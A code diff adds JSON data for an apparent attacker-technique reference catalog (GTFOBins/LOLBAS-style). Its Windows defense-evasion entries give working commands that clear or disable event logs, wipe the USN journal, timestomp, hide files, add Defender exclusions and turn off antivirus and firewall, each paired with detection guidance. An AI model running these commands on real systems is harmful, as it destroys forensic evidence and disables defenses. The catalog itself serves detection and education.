+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Diskshadow.yml",
+ "https://attack.mitre.org/techniques/T1003/003/"
+ ],
+ "verifyNote": "LOLBAS Diskshadow.yml documents `diskshadow.exe /s {PATH:.txt}` (T1003.003, NTDS exfil via VSS) and `exec {PATH:.exe}` child-process spawn (T1202); FIX: removed T1006 — not in the LOLBAS mapping and diskshadow's VSS snapshot is squarely T1003.003, so only T1202+T1003.003 are retained."
+ },
+ {
+ "toolName": "wevtutil.exe",
+ "toolId": "wevtutil",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Indicator Removal",
+ "Clear Windows Event Logs"
+ ],
+ "command": "wevtutil cl Security",
+ "description": "The built-in event log utility clears (empties) a named Windows Event Log channel with the cl / clear-log verb, destroying recorded evidence. An optional /bu: switch backs the log up first; adversaries omit it.",
+ "usecase": "Erase Security/System/Application logs after intrusion activity to remove indicators of compromise.",
+ "mitre": [
+ "T1070.001"
+ ],
+ "privilege": "admin",
+ "detection": "Alert on Security Event ID 1102 (audit log cleared) and System 104 (log file cleared). Log process creation (Sysmon 1 / Security 4688) for wevtutil.exe with 'cl' or 'clear-log' arguments; forward events to a SIEM so cleared local copies still survive centrally.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1070/001/",
+ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"
+ ],
+ "verifyNote": "MS Learn wevtutil doc confirms 'cl|clear-log <Logname> [/bu:<Backup>]' clears a log (docs example: wevtutil cl Application /bu:...); maps to ATT&CK T1070.001. No change."
+ },
+ {
+ "toolName": "wevtutil.exe",
+ "toolId": "wevtutil",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Disable Windows Event Logging"
+ ],
+ "command": "wevtutil sl Security /e:false",
+ "description": "The set-log (sl) verb with /e:false disables a Windows Event Log channel so future events for that channel are no longer written, blinding defenders without clearing existing entries.",
+ "usecase": "Disable Security or PowerShell operational channels before running noisy tooling so nothing is recorded.",
+ "mitre": [
+ "T1562.002",
+ "T1070.001"
+ ],
+ "privilege": "admin",
+ "detection": "Monitor process creation (Sysmon 1 / 4688) for wevtutil.exe with 'sl' plus '/e:false'. Watch Event ID 1100/1102/4719 (audit policy or log service state change) and alert on any channel being disabled, especially Security, System, and Microsoft-Windows-PowerShell/Operational.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1562/002/",
+ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"
+ ],
+ "verifyNote": "MS Learn wevtutil doc confirms 'sl|set-log' with '/e:<Enabled>' where Enabled is true or false ('Enables or disables a log'); primary ATT&CK ID T1562.002 is accurate (T1070.001 is a related secondary tag). No change."
+ },
+ {
+ "toolName": "Clear-EventLog",
+ "toolId": "powershell",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Indicator Removal",
+ "Clear Windows Event Logs"
+ ],
+ "command": "Clear-EventLog -LogName Security",
+ "description": "The Windows PowerShell 5.1 Clear-EventLog cmdlet deletes all entries from a specified classic event log on a local or remote computer, an alternative to wevtutil for the same log-clearing effect.",
+ "usecase": "Clear event logs from within an existing PowerShell session without spawning wevtutil.exe.",
+ "mitre": [
+ "T1070.001"
+ ],
+ "privilege": "admin",
+ "detection": "Alert on Event ID 1102/104 as with any clear. Enable PowerShell Script Block Logging (4104) and Module Logging to capture the Clear-EventLog invocation; correlate with Sysmon 1 for powershell.exe. Sysmon's own channel typically survives a Security-log clear and preserves the trail.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1070/001/",
+ "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/clear-eventlog"
+ ],
+ "verifyNote": "MS Learn confirms Clear-EventLog 'deletes all of the entries from the specified event logs on the local computer or on remote computers' (classic-log cmdlet, requires Administrators); ATT&CK T1070.001. No change."
+ },
+ {
+ "toolName": "Remove-EventLog",
+ "toolId": "powershell",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Indicator Removal",
+ "Clear Windows Event Logs"
+ ],
+ "command": "Remove-EventLog -LogName Security",
+ "description": "The Windows PowerShell 5.1 Remove-EventLog cmdlet deletes a classic event log entirely and unregisters its event sources, which can suppress future logging for that log until it is recreated (often after reboot).",
+ "usecase": "Delete and deregister a log so the intrusion leaves less evidence and future events are not captured.",
+ "mitre": [
+ "T1070.001"
+ ],
+ "privilege": "admin",
+ "detection": "Capture the cmdlet via Script Block Logging (4104) and Sysmon 1 for powershell.exe. Baseline the expected set of registered event logs and alert when a standard log (Security, System, Application) is missing or its sources are deregistered.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1070/001/",
+ "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/remove-eventlog?view=powershell-5.1"
+ ],
+ "verifyNote": "MS Learn (PS 5.1) confirms Remove-EventLog 'deletes an event log file ... and unregisters all its event sources'; classic EventLog cmdlet (5.1 only, not PS7). No change."
+ },
+ {
+ "toolName": "auditpol.exe",
+ "toolId": "auditpol",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Disable Windows Event Logging"
+ ],
+ "command": "auditpol /set /category:\"System\" /success:disable /failure:disable",
+ "description": "The built-in audit policy tool sets a subcategory or category to stop generating success/failure audit events; auditpol /clear /y wipes the entire advanced audit policy. Either action suppresses the events defenders rely on.",
+ "usecase": "Turn off auditing for noisy categories (e.g. process creation, logon) before operating, so key telemetry is never written.",
+ "mitre": [
+ "T1562.002"
+ ],
+ "privilege": "admin",
+ "detection": "Alert on Event ID 4719 (System audit policy was changed) and 4907. Log process creation for auditpol.exe with '/set ... /success:disable', '/failure:disable', '/clear', or '/remove'. Periodically compare live 'auditpol /get /category:*' output against a known-good baseline.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1562/002/",
+ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
+ ],
+ "verifyNote": "MS Learn auditpol-set confirms '/set ... /category:<name> /success:<enable|disable> /failure:<enable|disable>' and auditpol '/clear'/'/remove' sub-commands; ATT&CK T1562.002. No change."
+ },
+ {
+ "toolName": "fsutil.exe",
+ "toolId": "fsutil",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Indicator Removal",
+ "Delete Volume USN Journal"
+ ],
+ "command": "fsutil usn deletejournal /d C:",
+ "description": "The fsutil usn deletejournal subcommand with /d disables the NTFS Update Sequence Number (USN) change journal on a volume and deletes its records, destroying a key forensic timeline of file creation, deletion, and modification.",
+ "usecase": "Wipe the NTFS change journal to hamper forensic reconstruction of file-level activity on a compromised host.",
+ "mitre": [
+ "T1070"
+ ],
+ "privilege": "admin",
+ "detection": "Log process creation (Sysmon 1 / 4688) for fsutil.exe with 'usn' and 'deletejournal'. During forensics, a reset USN journal ID or an abrupt discontinuity/gap in journal records indicates deletion; ship file-audit and journal data off-host in near real time.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1070/",
+ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn"
+ ],
+ "verifyNote": "MS Learn fsutil-usn confirms 'fsutil usn deletejournal {/d|/n} <volumepath>' with '/d' disabling the active USN change journal (docs example: fsutil usn deletejournal /d c:); ATT&CK T1070. No change."
+ },
+ {
+ "toolName": "attrib.exe",
+ "toolId": "attrib",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Hide Artifacts",
+ "Hidden Files and Directories"
+ ],
+ "command": "attrib +h +s C:\\Windows\\Temp\\x\\payload.exe",
+ "description": "The built-in attrib command sets the Hidden (+h) and System (+s) file attributes so a file is concealed from default Explorer and 'dir' views, a simple way to hide dropped artifacts on disk.",
+ "usecase": "Conceal a dropped executable or staging file from casual inspection of a directory.",
+ "mitre": [
+ "T1564.001"
+ ],
+ "privilege": "user",
+ "detection": "Log process creation (Sysmon 1 / 4688) for attrib.exe with '+h' and especially '+s' on files in user-writable paths (Temp, ProgramData, AppData). Hunt the file system for files carrying both Hidden and System attributes in atypical locations.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1564/001/",
+ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib"
+ ],
+ "verifyNote": "MS Learn attrib doc confirms '{+|-}h' sets the Hidden and '{+|-}s' sets the System file attribute; ATT&CK T1564.001. No change."
+ },
+ {
+ "toolName": "PowerShell",
+ "toolId": "powershell",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Indicator Removal",
+ "Timestomp"
+ ],
+ "command": "$(Get-Item C:\\Windows\\Temp\\x\\payload.exe).LastWriteTime = '01/01/2016 00:00:00'; [IO.File]::SetCreationTime('C:\\Windows\\Temp\\x\\payload.exe','01/01/2016')",
+ "description": "PowerShell can rewrite a file's $STANDARD_INFORMATION timestamps via the .CreationTime/.LastWriteTime/.LastAccessTime properties of a FileInfo object or the [System.IO.File]::SetCreationTime/SetLastWriteTime .NET methods, blending a malicious file in with legitimate neighbors (timestomping).",
+ "usecase": "Backdate or match a dropped file's MACE timestamps to defeat timeline analysis and 'recently modified' triage.",
+ "mitre": [
+ "T1070.006"
+ ],
+ "privilege": "user",
+ "detection": "Sysmon Event ID 2 (FileCreateTime changed) flags user-mode $SI edits. Capture Script Block Logging (4104) for '.CreationTime =', '.LastWriteTime =', '[IO.File]::SetCreationTime', etc. In MFT forensics, a $STANDARD_INFORMATION timestamp earlier than the matching $FILE_NAME timestamp is a classic timestomp signature.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1070/006/",
+ "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md"
+ ],
+ "verifyNote": "MS Learn .NET docs confirm System.IO.File.SetCreationTime/SetLastWriteTime and the FileInfo LastWriteTime/CreationTime settable properties; Atomic Red Team T1070.006 documents PowerShell timestomp; ATT&CK T1070.006. No change."
+ },
+ {
+ "toolName": "Add-MpPreference",
+ "toolId": "powershell",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Disable or Modify Tools"
+ ],
+ "command": "Add-MpPreference -ExclusionPath 'C:\\Windows\\Temp\\x'\nAdd-MpPreference -ExclusionProcess 'C:\\Windows\\Temp\\x\\payload.exe'\nAdd-MpPreference -ExclusionExtension 'exe'",
+ "description": "The Defender module's Add-MpPreference cmdlet adds entries to the Microsoft Defender Antivirus exclusion list so matching items are no longer scanned in real time or on schedule: -ExclusionPath excludes a folder/file, -ExclusionProcess excludes any files opened by a named process, and -ExclusionExtension excludes an entire file type. Any of the three carves a blind spot for staging and executing tooling.",
+ "usecase": "Carve a Defender blind spot by excluding a staging path, an attacker process, or a whole extension before dropping tooling.",
+ "mitre": [
+ "T1562.001"
+ ],
+ "privilege": "admin",
+ "detection": "Monitor Defender Operational Event ID 5007 (configuration changed) and registry writes under HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\{Paths|Processes|Extensions} (Sysmon 13). Capture Add-MpPreference via Script Block Logging (4104) and alert on any new exclusion, especially paths/processes in Temp/AppData/ProgramData and extension-wide exclusions (rarely legitimate on endpoints). Enable Tamper Protection and centrally alert on exclusion drift.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1562/001/",
+ "https://learn.microsoft.com/en-us/powershell/module/defender/add-mppreference"
+ ],
+ "verifyNote": "MERGED from three near-duplicate Add-MpPreference exclusion entries (same toolId + same command intent — adding a Defender AV exclusion, all T1562.001). MS Learn confirms -ExclusionPath ('disables Windows Defender scheduled and real-time scanning for files in this folder'), -ExclusionProcess ('excludes any files opened by the processes that you specify'), and -ExclusionExtension ('exclude from scheduled, custom, and real-time scanning'); the three write to the Exclusions Paths/Processes/Extensions registry subkeys respectively. Technique mapping unchanged."
+ },
+ {
+ "toolName": "Set-MpPreference",
+ "toolId": "powershell",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Disable or Modify Tools"
+ ],
+ "command": "Set-MpPreference -DisableRealtimeMonitoring $true",
+ "description": "The Defender module's Set-MpPreference cmdlet with -DisableRealtimeMonitoring $true turns off Microsoft Defender Antivirus real-time protection, stopping on-access scanning of files and processes host-wide.",
+ "usecase": "Disable real-time protection so subsequent malicious files execute without being scanned or quarantined.",
+ "mitre": [
+ "T1562.001"
+ ],
+ "privilege": "admin",
+ "detection": "Alert on Defender Operational Event ID 5001 (real-time protection disabled) and 5007/5010. Capture 'Set-MpPreference -DisableRealtimeMonitoring' and related '-Disable*' toggles via Script Block Logging (4104). Enable Tamper Protection, which blocks this change and logs the attempt.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1562/001/",
+ "https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference"
+ ],
+ "verifyNote": "MS Learn confirms Set-MpPreference -DisableRealtimeMonitoring (Boolean) governs real-time protection; Defender Operational Event ID 5001 (real-time protection disabled) / 5007 (config changed) confirmed via Microsoft community/Sentinel guidance; ATT&CK T1562.001. No change."
+ },
+ {
+ "toolName": "reg.exe",
+ "toolId": "reg",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Modify Registry"
+ ],
+ "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f",
+ "description": "The built-in reg.exe writes the legacy DisableAntiSpyware policy value to turn off Microsoft Defender Antivirus via the registry. Modern Windows blocks or ignores this value under Tamper Protection, but the write attempt itself is a well-known evasion indicator.",
+ "usecase": "Attempt to disable Defender through a policy registry key rather than the Defender cmdlets.",
+ "mitre": [
+ "T1562.001",
+ "T1112"
+ ],
+ "privilege": "admin",
+ "detection": "Monitor registry writes to HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware (Sysmon 13) and process creation for reg.exe targeting that key. Tamper Protection generates Defender Event ID 5007 on the blocked attempt; treat any DisableAntiSpyware write as malicious on managed endpoints.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1562/001/",
+ "https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-disableantispyware"
+ ],
+ "verifyNote": "MS Learn DisableAntiSpyware doc confirms the value disables Defender AV and that it is now ignored/removed on modern Windows and protected by Tamper Protection (platform 4.18.2108.4+) - matching the entry's caveat; reg.exe add /v /t REG_DWORD /d /f is standard; ATT&CK T1562.001 + T1112. No change."
+ },
+ {
+ "toolName": "netsh.exe",
+ "toolId": "netsh",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Disable or Modify System Firewall"
+ ],
+ "command": "netsh advfirewall set allprofiles state off",
+ "description": "The built-in netsh advfirewall context sets the state of all Windows Defender Firewall profiles (Domain, Private, Public) to off, removing host-based network controls that would otherwise limit inbound/outbound activity.",
+ "usecase": "Turn off the host firewall to allow attacker tooling, C2, or lateral-movement traffic unimpeded.",
+ "mitre": [
+ "T1562.004"
+ ],
+ "privilege": "admin",
+ "detection": "Log process creation (Sysmon 1 / 4688) for netsh.exe with 'advfirewall' and 'state off'. Alert on Windows Firewall Event ID 2003 (a firewall setting was changed) and 2009. Also watch sc.exe/net.exe targeting the MpsSvc service. Enforce firewall state centrally via GPO/Intune and alert on drift.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1562/004/",
+ "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall"
+ ],
+ "verifyNote": "MS Learn netsh-advfirewall doc confirms 'netsh advfirewall set [allprofiles|...] state <on|off|notconfigured>' where off 'Disables the firewall'; Windows Firewall Event ID 2003 (profile setting changed) confirmed; ATT&CK T1562.004. No change."
+ },
+ {
+ "toolName": "BYOVD (vulnerable driver)",
+ "toolId": "byovd",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion",
+ "Privilege Escalation"
+ ],
+ "nativeCategory": [
+ "Impair Defenses",
+ "Bring Your Own Vulnerable Driver"
+ ],
+ "command": "# BYOVD is documented here as a NAMED concept only. No exploitation steps are provided. Reference the LOLDrivers catalog for known-vulnerable signed drivers and the vendor blocklist for defensive coverage.",
+ "description": "Bring Your Own Vulnerable Driver (BYOVD) is a named, publicly-documented class of technique in which an adversary who already holds local administrator rights loads a legitimately signed but known-vulnerable kernel driver, then abuses that driver's flaw to gain kernel-mode code execution and disable or blind EDR/AV. This entry catalogs the concept and detection surface only; it contains no driver-exploitation procedure.",
+ "usecase": "Understand and detect kernel-level tampering where a signed vulnerable driver is used to kill or blind security tooling.",
+ "mitre": [
+ "T1068",
+ "T1562.001"
+ ],
+ "privilege": "admin",
+ "detection": "Monitor Sysmon Event ID 6 (driver loaded) and Security 4697/System 7045 (new kernel-mode service) for drivers matching LOLDrivers hashes/signatures or loading from user-writable paths. Enforce the Microsoft Vulnerable Driver Blocklist and WDAC/HVCI to block known-bad drivers. Alert on unexpected drivers signed by unrelated third parties on servers/workstations.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1068/",
+ "https://www.loldrivers.io/"
+ ],
+ "verifyNote": "Concept-only (no exploit steps); LOLDrivers.io is the canonical public catalog of known-vulnerable signed drivers and ATT&CK T1068 (Exploitation for Priv-Esc) + T1562.001 map to BYOVD; Sysmon 6 / Security 4697 / System 7045 detection is accurate. No change."
+ },
+ {
+ "toolName": "Clear-History",
+ "toolId": "powershell",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Indicator Removal",
+ "Clear Command History"
+ ],
+ "command": "Clear-History; Remove-Item (Get-PSReadlineOption).HistorySavePath",
+ "description": "Clear-History flushes the current PowerShell session's in-memory history, while deleting the PSReadLine save path (ConsoleHost_history.txt) removes the persistent, cross-session command history; Set-PSReadLineOption -HistorySaveStyle SaveNothing disables future history writes. Together these hide the commands an operator ran.",
+ "usecase": "Erase both session and persistent PowerShell command history to conceal executed commands.",
+ "mitre": [
+ "T1070.003"
+ ],
+ "privilege": "user",
+ "detection": "Capture Script Block Logging (4104) for 'Clear-History', 'Remove-Item ...HistorySavePath', '(Get-PSReadlineOption).HistorySavePath', and 'Set-PSReadLineOption -HistorySaveStyle SaveNothing'. Alert when ConsoleHost_history.txt is deleted, emptied, or truncated (file-audit / Sysmon 23 file-delete). Prefer transcript logging and central forwarding, which survive local history deletion.",
+ "references": [
+ "https://attack.mitre.org/techniques/T1070/003/",
+ "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md"
+ ],
+ "verifyNote": "MS Learn confirms Set-PSReadLineOption -HistorySaveStyle SaveNothing ('Don't use a history file') and HistorySavePath ($($Host.Name)_history.txt, e.g. ConsoleHost_history.txt); Clear-History is a built-in cmdlet; Atomic Red Team T1070.003 documents the technique (also corroborated by Black Hills InfoSec write-up); ATT&CK T1070.003. No change."
+ }
+]
+\ No newline at end of file
diff --git a/src/data/facets.json b/src/data/facets.json
@@ -0,0 +1,82 @@
+{
+ "platforms": [
+ "Linux",
+ "Windows",
+ "macOS",
+ "ActiveDirectory"
+ ],
+ "capabilities": [
+ "Execution",
+ "Reverse/Bind Shell",
+ "File Download",
+ "File Upload",
+ "File Read",
+ "File Write",
+ "File Copy",
+ "Library Load",
+ "Compile",
+ "Privilege Escalation",
+ "UAC Bypass",
+ "AWL / Policy Bypass",
+ "Defense Evasion",
+ "Credential Access",
+ "Discovery",
+ "Persistence",
+ "Lateral Movement",
+ "Collection"
+ ],
+ "sources": [
+ "GTFOBins",
+ "LOLBAS",
+ "WADComs",
+ "DAEMON"
+ ],
+ "counts": {
+ "techniques": 2885,
+ "tools": 814,
+ "added": 179,
+ "bySource": {
+ "GTFOBins": 2125,
+ "LOLBAS": 481,
+ "WADComs": 100,
+ "DAEMON": 179
+ },
+ "byPlatform": {
+ "Linux": 2306,
+ "macOS": 890,
+ "Windows": 744,
+ "ActiveDirectory": 217
+ },
+ "byCapability": {
+ "File Read": 768,
+ "Privilege Escalation": 1448,
+ "Execution": 1324,
+ "File Download": 250,
+ "File Upload": 204,
+ "File Write": 437,
+ "Library Load": 82,
+ "Reverse/Bind Shell": 170,
+ "AWL / Policy Bypass": 52,
+ "Defense Evasion": 70,
+ "File Copy": 15,
+ "Credential Access": 88,
+ "UAC Bypass": 9,
+ "Compile": 8,
+ "Discovery": 88,
+ "Persistence": 32,
+ "Lateral Movement": 18,
+ "Collection": 18
+ },
+ "toolsBySource": {
+ "GTFOBins": 458,
+ "LOLBAS": 244,
+ "WADComs": 40,
+ "DAEMON": 72
+ }
+ },
+ "commits": {
+ "gtfobins": "acd5246",
+ "lolbas": "7aca936",
+ "wadcoms": "a864cd1"
+ }
+}
+\ No newline at end of file
diff --git a/src/data/tools.json b/src/data/tools.json
@@ -0,0 +1 @@
+[{"id":"gtfo:7z","name":"7z","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/7z/"],"count":2},{"id":"gtfo:R","name":"R","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/R/"],"count":3},{"id":"gtfo:aa-exec","name":"aa-exec","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/aa-exec/"],"count":3},{"id":"gtfo:ab","name":"ab","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ab/"],"count":6},{"id":"gtfo:acr","name":"acr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/acr/"],"count":3},{"id":"gtfo:agetty","name":"agetty","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/agetty/"],"count":1},{"id":"gtfo:alpine","name":"alpine","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/alpine/"],"count":3},{"id":"gtfo:ansible-playbook","name":"ansible-playbook","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ansible-playbook/"],"count":2},{"id":"gtfo:ansible-test","name":"ansible-test","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ansible-test/"],"count":2},{"id":"gtfo:aoss","name":"aoss","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/aoss/"],"count":2},{"id":"gtfo:apache2","name":"apache2","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/apache2/"],"count":6},{"id":"gtfo:apache2ctl","name":"apache2ctl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/apache2ctl/"],"count":2},{"id":"gtfo:apport-cli","name":"apport-cli","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/apport-cli/"],"count":1},{"id":"gtfo:apt-get","name":"apt-get","source":"GTFOBins","platform":["Linux"],"aliases":["apt"],"references":["https://gtfobins.github.io/gtfobins/apt-get/"],"count":6},{"id":"gtfo:aptitude","name":"aptitude","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/aptitude/"],"count":2},{"id":"gtfo:ar","name":"ar","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ar/"],"count":3},{"id":"gtfo:arch-nspawn","name":"arch-nspawn","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/arch-nspawn/"],"count":1},{"id":"gtfo:aria2c","name":"aria2c","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/aria2c/"],"count":12},{"id":"gtfo:arj","name":"arj","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/arj/"],"count":6},{"id":"gtfo:arp","name":"arp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/arp/"],"count":3},{"id":"gtfo:as","name":"as","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/as/"],"count":3},{"id":"gtfo:ascii-xfr","name":"ascii-xfr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ascii-xfr/"],"count":3},{"id":"gtfo:ascii85","name":"ascii85","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ascii85/"],"count":2},{"id":"gtfo:ash","name":"ash","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/ash/"],"count":6},{"id":"gtfo:aspell","name":"aspell","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/aspell/"],"count":6},{"id":"gtfo:asterisk","name":"asterisk","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/asterisk/"],"count":3},{"id":"gtfo:at","name":"at","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/at/"],"count":4},{"id":"gtfo:atobm","name":"atobm","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/atobm/"],"count":3},{"id":"gtfo:autoconf","name":"autoconf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/autoconf/"],"count":2},{"id":"gtfo:autoheader","name":"autoheader","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/autoheader/"],"count":2},{"id":"gtfo:autoreconf","name":"autoreconf","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/autoreconf/"],"count":2},{"id":"gtfo:aws","name":"aws","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/aws/"],"count":5},{"id":"gtfo:base32","name":"base32","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/base32/"],"count":3},{"id":"gtfo:base58","name":"base58","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/base58/"],"count":2},{"id":"gtfo:base64","name":"base64","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/base64/"],"count":3},{"id":"gtfo:basenc","name":"basenc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/basenc/"],"count":3},{"id":"gtfo:basez","name":"basez","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/basez/"],"count":3},{"id":"gtfo:bash","name":"bash","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["ksh"],"references":["https://gtfobins.github.io/gtfobins/bash/"],"count":33},{"id":"gtfo:bashbug","name":"bashbug","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bashbug/"],"count":2},{"id":"gtfo:batcat","name":"batcat","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/batcat/"],"count":3},{"id":"gtfo:bbot","name":"bbot","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bbot/"],"count":2},{"id":"gtfo:bc","name":"bc","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bc/"],"count":3},{"id":"gtfo:bconsole","name":"bconsole","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bconsole/"],"count":5},{"id":"gtfo:bee","name":"bee","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bee/"],"count":3},{"id":"gtfo:borg","name":"borg","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/borg/"],"count":2},{"id":"gtfo:bpftrace","name":"bpftrace","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bpftrace/"],"count":3},{"id":"gtfo:bridge","name":"bridge","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/bridge/"],"count":3},{"id":"gtfo:bundle","name":"bundle","source":"GTFOBins","platform":["Linux"],"aliases":["bundler"],"references":["https://gtfobins.github.io/gtfobins/bundle/"],"count":10},{"id":"gtfo:busctl","name":"busctl","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/busctl/"],"count":9},{"id":"gtfo:busybox","name":"busybox","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/busybox/"],"count":8},{"id":"gtfo:byebug","name":"byebug","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/byebug/"],"count":2},{"id":"gtfo:bzip2","name":"bzip2","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobi